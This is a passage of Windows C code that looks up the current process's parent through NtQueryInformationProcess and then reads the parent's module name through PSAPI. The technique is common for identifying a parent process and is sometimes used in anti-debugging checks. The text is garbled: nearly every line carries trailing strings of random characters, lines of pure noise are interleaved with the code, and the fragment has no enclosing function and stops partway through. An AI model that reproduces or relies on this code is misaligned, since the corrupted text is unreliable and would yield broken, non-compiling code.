ULONG InheritedFromUniqueProcessId; e L^|v
} PROCESS_BASIC_INFORMATION;
Rn(ec
M2>Vj/
PROCNTQSIP NtQueryInformationProcess; n&;85IF1
"ESwA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vkx7paY_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #@9/g
F^t DL:
HANDLE hProcess; Ng2@z<>.
PROCESS_BASIC_INFORMATION pbi; 9`A;U|~E@
oWim}Er=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^T;*M_
if(NULL == hInst ) return 0; ;4^Rx
9~5uaP$S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %S@ZXf~:
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g1/[eoZzk
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XSe=sHEI
6ryak!|[
if (!NtQueryInformationProcess) return 0; dGYn4i2k?
:0j?oY~e
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uD$u2
if(!hProcess) return 0; F3v!AvA|
@uqd.Q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uGf@
HZzD VCU
CloseHandle(hProcess); MSQEO4ge
hYT0l$Ng
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sz)' ogl
if(hProcess==NULL) return 0; \=?a/
@Q
]=\N:
HMODULE hMod; (lBCO?`fx
char procName[255]; ^pAAzr"hv
unsigned long cbNeeded; KQaxvU)L
|"X*@s\'
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]_mb7X>
W7R<